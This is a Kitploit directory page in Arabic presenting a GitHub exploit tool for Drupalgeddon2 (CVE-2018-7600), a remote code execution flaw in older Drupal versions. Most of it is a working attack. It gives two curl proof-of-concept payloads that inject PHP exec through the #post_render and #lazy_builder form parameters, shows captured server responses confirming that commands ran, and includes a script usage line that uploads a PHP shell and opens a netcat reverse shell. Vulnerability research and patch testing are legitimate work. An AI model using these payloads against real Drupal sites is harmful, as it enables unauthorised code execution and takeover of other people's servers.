Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Drupalgeddon2 — CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE | Kitploit
أدوات/GitHubGitHub/ruthvikvegunta/drupalgeddon2
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراق
GitHubruthvikvegunta/drupalgeddon2

Drupalgeddon2

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE

عرض المستودع
42منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

مستوحى من https://github.com/dreadlocked/Drupalgeddon2


يدعم:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ رابط user/register، مهاجمة account/mail ووسيط #post_render، باستخدام دالة passthru في PHP
  • [قيد الانتظار] [لم تتم برمجته بعد] Drupal < 7.58 ~ رابط user/password، مهاجمة نموذج triggering_element_name ووسيط ، باستخدام دالة في PHP
#post_render
passthru
  • يقوم بتحميل شيل PHP إلى جذر الويب (./)، ويبدأ مستمع netcat وسيقوم بتشغيل الحمولة في مؤشر ترابط مختلف وسيعيد الشل العكسي إلى المستخدم.
  • يدعم أهداف Linux
  • يكشف تلقائيًا عن Drupal 7 أو Drupal 8
  • PoC #1 - #post_render / account/mail / exec

    • يستخدم رابط user/register، ووسيط #post_render، مستهدفًا account/mail، باستخدام دالة exec في PHP.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    

    سيقدم الخادم استجابة 200 ويعرض JSON. قادر على عرض المخرجات في الاستجابة (مثل تنفيذ uname -a).

    مثال

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
      --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
    HTTP/1.1 200 OK
    Date: Wed, 18 Apr 2018 15:56:29 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: must-revalidate, no-cache, private
    X-UA-Compatible: IE=edge
    Content-language: en
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Ajax-Token: 1
    Content-Length: 280
    Content-Type: application/json
    
    [{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
    [g0tmi1k@attacker]$
    

    PoC #2 - #lazy_builder / timezone/timezone / exec

    • يستخدم رابط user/register، ووسيط #lazy_builder، مستهدفًا timezone/timezone، باستخدام دالة exec في PHP.
    root@kitploit:~
      curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    

    سيقدم الخادم استجابة 500 ويعرض "The website encountered an unexpected error. Please try again later". غير قادر على عرض المخرجات في الاستجابة (أعمى!).

    مثال

    root@kitploit:~
    [g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
        --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
    HTTP/1.0 500 500 Service unavailable (with message)
    Date: Wed, 18 Apr 2018 15:58:04 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.24
    Cache-Control: no-cache, private
    Content-Length: 74
    Connection: close
    Content-Type: text/html
    
    The website encountered an unexpected error. Please try again later.<br />
    [g0tmi1k@attacker]$
    
    
    root@ubuntu140045x64-drupal:~# stat /tmp/2
      File: '/tmp/2'
      Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
    Device: fd01h/64769d	Inode: 59488       Links: 1
    Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
    Access: 2018-04-18 15:58:05.061898957 +0000
    Modify: 2018-04-18 15:58:05.061898957 +0000
    Change: 2018-04-18 15:58:05.061898957 +0000
     Birth: -
    root@ubuntu140045x64-drupal:~#
    

    استخدام السكربت:

    تم اختباره على Drupal 8، جزء Drupal 7 من الثغرة لم تتم برمجته بعد

    python3 drupalgeddon2.py -t http://xxx.xxx.xxx.xxx -l xxx.xxx.xxx.xxx -p xxxx

    تنزيل الأداة